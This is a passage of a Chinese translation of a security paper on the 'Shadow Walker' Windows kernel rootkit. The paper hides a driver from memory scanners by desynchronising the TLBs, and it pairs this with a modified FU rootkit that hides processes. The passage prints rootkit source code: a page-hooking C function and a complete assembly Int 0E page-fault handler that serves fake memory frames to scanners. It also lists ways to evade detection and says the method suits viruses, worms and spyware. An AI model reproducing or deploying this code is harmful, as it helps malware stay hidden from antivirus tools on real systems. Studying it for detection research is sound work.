    局部变量存储空间中, 再传递到API函数中.(也就是如果API访问伪装的变量, 它会
    得到伪造的数据, 错误地执行).

这个协议可以在隐藏的驱动中有效地实现, 通过让驱动在例程初始化时把所有的全局变量拷贝到
局部变量, 接着在函数体执行完毕后再将数据拷回. 因为堆栈数据是通量(不断变化的状态)中
的一个定态, 从堆栈中的全局数据得到可靠的特征是不太可能的. 使用这种方法, 就没有必要
在每次访问全局变量访问时制造一次页出错. 一般来说, 在例程初始化时把数据拷过来只需要一次
页出错, 在例程结束时将数据拷回去还需要制造一次页出错. 不可否认, 这种方式忽略了一些涉及到
多进程访问和同步这样更复杂的问题. 一种可选的方法——在驱动与页出错处理程序(PF)之间使用
这个协议时, 使用单步执行指令引发内存访问. 这对于驱动来说可以少些笨重, 还可以让页出错处理
程序维护对DTLB的控制(也就是在数据访问后清除它, 以致保证它是空的).

----{ 3.3 - 相关工作

讽刺的是, 在这篇文章中讨论的内存伪装技术起源于一个现有的称为PaX的防止堆栈溢出方案.
同样地, 我们展示了一个初衷为防御技术却用作潜在攻击的应用.(也就是利用了Pentium
分隔使用TLB的体系结构), 在PaX和使用该技术的rootkit应用之间具有微妙的差别. 然而
我们进行内存伪装的rootkit允许执行, 使读/写的语义操作转向, PaX允许读/写访问, 不支持
执行操作. 这使得PaX可以为在IA-32体系结构下没有可执行堆栈提供软件上的支持, 因此可以
阻碍一大类的基于堆栈的缓冲区溢出攻击.当由Pax保护的系统在一个只能读/写的内存区域中检测出
一个执行企图, 它就中止这个恶意的进程. 硬件对没有可执行内存的支持将会在随后的几款处理器的
页表入口格式中加入, 包括IA-64和Pentium 4. 与PaX相比较, 我们的rootkit处理程序允许
执行访问继续正常地进行, 而当对隐藏的分页进行读/写访问时, 使其转向到一个看起来清白的
影子分页.最后, 应该指出的是PaX使用了PTE的用户(user)/特权(supervisor)位来产生需要
强制保护的页出错处理. 这仅仅限制在用户模式的页保护, 对于一个内存模式rootkit来说,
这种限制是不切实际的. 同样地, 我们在实现中使用了PTE的存在(present)/不存在(not present)位.

----{ 3.4 - 证明理念的实现                              
      
我们当前的实现使用一个修改过的Fu rootkit, 新的页错误处理程序称为Shadow Walker.
由于Fu为了隐藏进程改变了内核的数据结构, 并没有利用任何的代码段挂钩, 所以我们只得
考虑在内存中隐藏Fu的驱动. 对于在内部链表中的每个进程来说, 内核通过保存一个称为
EPROCESS块的对象, 来说明在当前系统中所正在运行的每个进程的状况.Fu从这些链表中
删去了想要隐藏的进程.
      
------[ 3.4.a - 修改过的FU Rootkit                                        
      
我们修改了从rootkit.com拿来的当前版本的FU rootkit. 为了使它更具隐蔽性, 我们删除了
依靠于用户态启动的程序. 现在, 所有的启动信息都以操作系统相关偏移的形式存在, 直接使用
内核态函数取得. 通过移除用户态部分, 我们就没有必要创建到驱动的符号连接和功能设备, 这
两点都会被轻易地检测出来. 一旦FU被安装, 在文件系统的映像将会被删除, 因此所有反病毒软件
在文件系统的扫描都无法发现它. 你可以想像FU可以通过内核溢出的方式安装并导入内存, 从而
避免任何在磁盘映像的检测. FU也隐藏所有名字中有前缀_fu_的进程, 不管进程ID(PID). 我们
创建一个系统线程不断地扫描这个进程链来查找这个前缀. FU和内存钩子, Shadow Walker, 协同
工作; 所以, FU依赖于Shadow Walker从内存中的驱动链表中删除驱动, 并且在Windows对象管理器
的驱动目录中删去驱动.  
      
----[ 3.4.b - Shadow Walker 内存挂钩引擎                            
      
Shadow Walker包含一个内存挂钩的安装模块和一个新的页出错处理程序. 内存挂钩模块接受
需要隐藏分页的虚地址作为参数. 它使用包含在地址中的信息作一些安全性检查. 随后
Shadow Walker通过挂钩Int 0E(如果它之前没被安装过)安装新的页出错处理程序, 并将隐藏分页
的信息插入到hash表中, 这样在页出错时可以查找得快些.最后, 该页的PTE标志为不存在, 该隐藏
分页的TLB入口被清除. 这确保了接下来所有对该页的访问都由新的页出错处理程序过滤.

/*************************************************************************  
* HookMemoryPage - Hooks a memory page by marking it not present          
*                  and flushing any entries in the TLB. This ensure        
*                  that all subsequent memory accesses will generate      
*                  page faults and be filtered by the page fault handler.  
*    
* Parameters:                                                              
*      PVOID pExecutePage - pointer to the page that will be used on
*                           execute access
*                                                        
*      PVOID pReadWritePage - pointer to the page that will be used to load
*                             the DTLB on data access              *        
*                            
*      PVOID pfnCallIntoHookedPage - A void function which will be called  
*                                    from within the page fault handler to
*                                    to load the ITLB on execute accesses  
*
*      PVOID pDriverStarts (optional) - Sets the start of the valid range
*                                       for data accesses originating from
*                                       within the hidden page.
*                
*      PVOID pDriverEnds (optional) - Sets the end of the valid range for  
*                                     data accesses originating from within
*                                     the hidden page.                    
* Return - None                                                            
**************************************************************************/
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage,
                     PVOID pfnCallIntoHookedPage, PVOID pDriverStarts,
                     PVOID pDriverEnds )                          
{                  
        HOOKED_LIST_ENTRY HookedPage = {0};                                
        HookedPage.pExecuteView = pExecutePage;                            
        HookedPage.pReadWriteView = pReadWritePage;                        
        HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage;          
        if( pDriverStarts != NULL)                                          
           HookedPage.pDriverStarts = (ULONG)pDriverStarts;          
        else
           HookedPage.pDriverStarts = (ULONG)pExecutePage;  

        if( pDriverEnds != NULL)
           HookedPage.pDriverEnds = (ULONG)pDriverEnds;                            
        else                                                              
        {       //set by default if pDriverEnds is not specified          
                if( IsInLargePage( pExecutePage ) )                        
                   HookedPage.pDriverEnds =
                   (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE;
                else          
                   HookedPage.pDriverEnds =
                   (ULONG)HookedPage.pDriverStarts + PAGE_SIZE;      
        }//end if                                                          
        
        __asm cli //disable interrupts                                    
        
        if( hooked == false )                                              
        {      HookInt( &g_OldInt0EHandler,
                      (unsigned long)NewInt0EHandler, 0x0E );
               hooked = true;                                              
        }//end if                                                          
        
        HookedPage.pExecutePte = GetPteAddress( pExecutePage );            
        HookedPage.pReadWritePte = GetPteAddress( pReadWritePage );
      
        //Insert the hooked page into the list                            
        PushPageIntoHookedList( HookedPage );
                            
        //Enable the global page feature    
        EnableGlobalPageFeature( HookedPage.pExecutePte );                
        
        //Mark the page non present                                        
        MarkPageNotPresent( HookedPage.pExecutePte );  
                    
        //Go ahead and flush the TLBs.  We want to guarantee that all      
        //subsequent accesses to this hooked page are filtered
        //through our new page fault handler.                              
        __asm invlpg pExecutePage      
                                  
        __asm sti //reenable interrupts                            
}//end HookMemoryPage  
                                                    
页出错处理程序的功能相对比较直接, 尽管这个主题看上去很复杂. 它主要的功能是决定一个
特定的页出错是否来源于一个挂钩过的分页, 分析访问的类型, 接着导入合适的TLB. 同样地,
页出错处理程序基本上有两个执行路径. 如果分页没有被挂钩, 就直接传递到操作系统的页出错
处理程序. 这要决定得越快越好, 越有效越好. 如果出错来源于用户态地址, 或者处理器运行在用户态就
立即传递下去. 内核态访问的命运就通过hash表的查询快速决定. 换句话说, 一旦该分页认为是
挂过钩的, 将会检查访问类型并将注意力放在使用合适的TLB加载代码
(执行访问让ITLB加载, 读/写访问让DTLB加载). TLB加载的过程如下:
        
1. 合适的物理帧的映射将会导入到对应于出错处理地址的PTE中
2. 页暂时标记为存在.
3. 对于一个DTLB的加载, 执行在挂钩过的内存上读操作    
4. 对于一个ITLB的加载, 执行到挂钩过的页的调用.
5. 页再次标记为不存在.
6. 映射到老物理帧的PTE将会被恢复.          
      
在TLB导入之后, 控制权直接返回到页出错处理代码.
                                                                
/**************************************************************************
* NewInt0EHandler - Page fault handler for the memory hook engine (aka. the
*                   guts of this whole thing ;)
*                                                              
* Parameters - none                                            
*                                                              
* Return -      none                                            
*                                                              
***************************************************************************
void __declspec( naked ) NewInt0EHandler(void)                  
{                                                              
        __asm                                                  
        {                                                      
                pushad                                          
                mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode        
                                                                
                test edx, 0x04 //if the processor was in user mode, then  
                jnz PassDown   //pass it down                              
                                                                
                mov eax,cr2     //faulting virtual address      
                cmp eax, HIGHEST_USER_ADDRESS                  
                jbe PassDown   //we don't hook user pages, pass it down    
                                                                
                ////////////////////////////////////////        
                //Determine if it's a hooked page              
                /////////////////////////////////////////      
                push eax                                        
                call FindPageInHookedList                      
                mov ebp, eax //pointer to HOOKED_PAGE structure            
                cmp ebp, ERROR_PAGE_NOT_IN_LIST                
                jz PassDown  //it's not a hooked page          
                                                                
                ///////////////////////////////////////        
                //NOTE: At this point we know it's a            
                //hooked page. We also only hook                
                //kernel mode pages which are either            
                //non paged or locked down in memory            
                //so we assume that all page tables            
                //are resident to resolve the address          
                //from here on out.                            
                /////////////////////////////////////          
                mov eax, cr2                                    
                mov esi, PROCESS_PAGE_DIR_BASE                  
                mov ebx, eax                                    
                shr ebx, 22                                    
                lea ebx, [esi + ebx*4]  //ebx = pPTE for large page        
                test [ebx], 0x80        //check if its a large page
                jnz IsLargePage                                
                                                                
                mov esi, PROCESS_PAGE_TABLE_BASE                
                mov ebx, eax                                    
                shr ebx, 12                                    
                lea ebx, [esi + ebx*4]  //ebx = pPTE            
                                                                
IsLargePage:                                                    
                                                                
                cmp [esp+0x24], eax     //Is due to an attepmted execute?
                jne LoadDTLB                                    
                                                                
                ////////////////////////////////                
                // It's due to an execute. Load                
                // up the ITLB.                                
                ///////////////////////////////                
                cli                      
                or dword ptr [ebx], 0x01         //mark the page present
                call [ebp].pfnCallIntoHookedPage //load the itlb        
                and dword ptr [ebx], 0xFFFFFFFE  //mark page not present
                sti                                            
                jmp ReturnWithoutPassdown                      
                                                                
                ////////////////////////////////                
                // It's due to a read /write                    
                // Load up the DTLB                            
                ///////////////////////////////                
                ///////////////////////////////                
                // Check if the read / write                    
                // is originating from code                    
                // on the hidden page.                          
                ///////////////////////////////                
LoadDTLB:                                                      
                mov edx, [esp+0x24]             //eip          
                cmp edx,[ebp].pDriverStarts                    
                jb LoadFakeFrame                                
                cmp edx,[ebp].pDriverEnds                      
                ja LoadFakeFrame                                
                                                                
                /////////////////////////////////              
                // If the read /write is originating            
                // from code on the hidden page,then            
                // let it go through. The code on the          
                // hidden  page will follow protocol            
                // to clear the TLB after the access.          
                ////////////////////////////////                
                cli                                            
                or dword ptr [ebx], 0x01           //mark the page present
                mov eax, dword ptr [eax]           //load the DTLB        
                and dword ptr [ebx], 0xFFFFFFFE    //mark page not present
                sti                                            
                jmp ReturnWithoutPassdown                      
                                                                
                /////////////////////////////////              
                // We want to fake out this read                
                // write. Our code is not generating            
                // it.                                          
                /////////////////////////////////              
LoadFakeFrame:                                                  
                mov esi, [ebp].pReadWritePte                    
                mov ecx, dword ptr [esi]            //ecx = PTE of the    
                                                    //read / write page  
                                                                
                //replace the frame with the fake one                    
                mov edi, [ebx]                                  
                and edi, 0x00000FFF //preserve the lower 12 bits of the  
                                    //faulting page's PTE                
                and ecx, 0xFFFFF000 //isolate the physical address in    
                                    //the "fake" page's PTE              
                or ecx, edi                                    
                mov edx, [ebx]     //save the old PTE so we can replace it
                cli      
                mov [ebx], ecx    //replace the faulting page's phys frame
                                  //address w/ the fake one              
                                                                
                //load the DTLB                                
                or dword ptr [ebx], 0x01   //mark the page present        
                mov eax, cr2               //faulting virtual address    
                mov eax, dword ptr[eax]    //do data access to load DTLB  
                and dword ptr [ebx], 0xFFFFFFFE //re-mark page not present
                                                                
                //Finally, restore the original PTE            
                mov [ebx], edx                                  
                sti                                            
                                                                
ReturnWithoutPassDown:                                          
                popad                                          
                add esp,4                                      
                iretd                                          
                                                                
PassDown:                                                      
                popad                                          
                jmp g_OldInt0EHandler                          
                                                                
        }//end asm                                              
}//end NewInt0E                                                

--[ 4 - 已知的局限 & 性能上的影响
                          
因为我们当前的rootkit只是扩展作为证明理念的展示, 而不是完整设计的攻击工具, 它具有
很多实现上的局限性. 只要某个人愿意, 可以添加大部分的功能. 首先, 可以毫不费力地添加
对多线程或多处理器的系统的支持. 其次, 它并不支持Pentium的PAE寻址方式, PAE寻址方式
可以将物理寻址位从32位扩展到36位. 最后, 这个设计局限在只能伪装4k大小的内核模式分页
(也就是在内存地址空间2G区域以上的部分). 我们提到的4k页的局限是因为当前面对隐藏位
于ntoskrnl驻留的4M分页时,所遇到的技术上的问题. 隐藏包含ntoskrnl的分页将会是值得注意
的扩展. 考虑到性能, 我们还未完成严格的测试, 但是主观上来说, 在这个rootkit和内存挂钩
引擎安装后, 并没有显著的性能影响. 为了得到最大的性能, 正如之前所提到的, 代码和数据
应该保持在两个独立的分页中, 并且如果有人想要同时使用代码页伪装和执行页伪装, 那么全局
变量的使用应该最小化, 限制在不影响性能的前提下.  

--[ 5 - 检测

为防止被检测, 至少有几个明显的必须面对的弱点.在我们现在证明理念的实现中并没有提到它们,
然而, 考虑到完整性我们在此指出. 因为我们必须能够区分正常的页出错和那些与内存挂钩相关
的页出错, 我们强加了挂过钩的分页必须位于不可分页内存的条件.很明显, 不存在分页在不可
分页内存中存在显然就是一个异常. 然而这是否是一个充分的启动rootkit警告的启发式条件呢,
这一点还在争论中.使用类似MmProbeAndLoackPages的API函数锁定可分页内存好像更具有隐蔽
性. 下一个弱点在于伪装页出错处理程序的存在. 因为页出错处理程序所在的页不能被标记为不
存在, 这是由于很明显的回溯重入问题, 对于简单的特征扫描来说这是一个弱点, 必须使用比较
传统的方法进行混淆.因为这个例程很小, 用ASM书写并且不依赖任何内核API,所以多态将是一个
理想的解决方案. 一个相关的弱点在需要伪装IDT钩子的存在时产生.由于和页出错处理程序相似的
原因,我们不能使用我们的内存挂钩技术来伪装对于中断描述表(IDT)的修改.当我们使用内联挂钩
而不是直接地IDT修改来挂钩页出错中断, 在包含操作系统INT 0E处理程序的页上放置内存钩子
是很有问题的, 并且内联挂钩很容易被检测. Joanna Rutkowska 提出使用调试寄存器来隐藏IDT钩子[5],
但是 Edgar Barbosa 展示了这并不是一个完全有效的解决方案[12].这是由于调试寄存器只保护
虚拟地址, 而不保护物理地址这样的事实.某人可以简单地重新映射包含IDT的物理帧到一个不同的
虚拟地址, 随心所欲地读/写IDT的内存. Shadow Walker也被这种攻击方式所击倒称为牺牲品, 同样
的道理, Shadow Walker依赖于虚拟内存的利用, 而非物理内存.尽管这承认是个弱点, 但是大多数的商业
安全扫描器只进行虚拟内存的扫描, 而不是进行物理内存的扫描, 这样会被像Shadow Walker一样的rootkit
所玩弄. 最后, Shadow Walker 是阴险的. 即使一个扫描器检测出了Shadow Walker, 事实上也没有办法
在一个运行的系统中清除它. 有没有可能成功地使用操作系统原来的页出错处理程序重写挂钩的地方呢?
举例来说, 这很可能使系统蓝屏, 因为会有一些页出错发生在隐藏的分页中, 原始的页出错处理程序
和系统都不知道该如何处理.  
                                                          
--[ 6 - 总结

Shadow Walker不是一个全副武装的攻击工具. 它的功能是有限的, 并不试图在IDT中隐藏自己
的钩子或它的页出错处理代码. 它只提供一个实际的证明理念的实现, 用来破坏虚拟内存.通过颠倒
一个没有可执行内存的防御性软件, 我们展示了破坏操作系统和几乎所有的安全扫描应用所依赖的
虚拟地址视图是可能的.由于它利用了TLB体系结构, Shadow Walker是透明的, 表现了一个极轻量级
的性能打击. 这些特性毫无疑问地为除了rootkit之外的病毒,蠕虫和间谍软件的应用提供了吸引人的
解决方案.
      
--[ 7 - 参考
1. Tripwire, Inc. http://www.tripwire.com/
2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July,
   2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/
   bh-us-04-butler.pdf
3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12
4. Holy Father, Hacker Defender. http://hxdef.czweb.org/
5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder
   2. January, 2004.
6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows
   Kernel. July, 2005.
7. B. Cogswell and M. Russinovich, RootkitRevealer, available at:
   www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml
8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005):
   www.fsecure.com/blacklight/
9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0
   http://www.eeye.com/~data/publish/whitepapers/research/
   OT20050205.FILE.pdf
10. Chong, S.K. Windows Local Kernel Exploitation.
    http://www.bellua.com/bcs2005/asia05.archive/
    BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt
11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni:
    Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security
    Symposium 2004.
12. Barbosa, Edgar. Avoiding Windows Rootkit Detection
    http://packetstormsecurity.org/filedesc/bypassEPA.pdf
13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003
    http://www.invisiblethings.org/papers/chameleon_concepts.pdf
14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth
    Edition.          

--[ 8 - 致谢

向Joanna Rutkowska 致谢, 因为她的Chamelon项目论文给了这个项目启示, 感谢PAX团队
用他们没有可执行内存的软件实现, 给我们展示了如何破坏TLB的同步, 感谢Halvar Flake
参与了我们关于Shadow Walker想法最初的讨论, 感谢Kayaker帮忙beta测试和调试了一些
代码. 最后, 我们想对所有为rootkit.com有贡献的人们表示敬意.:)
      
|=[ EOF ]=---------------------------------------------------------------=|

译者注:

由于翻译时间仓促, 再之水平有限, 错误不可避免. 请各位看官谅解, 务必参看原文.

另外, 纠正我在"检测并禁用隐藏服务"中的错误, 我所说的"估计Knlsc的驱动是假的"纯属搞笑,
我犯了一个低级的错误, 未将knlsc脱壳. 在此向zzzEVAzzz公开道歉, 请大家忽略文中对knlsc
的描述. 并且还要感谢zzzEVAzzz无私的指点, 原来ZwReadFile的倒数第二个参数没设.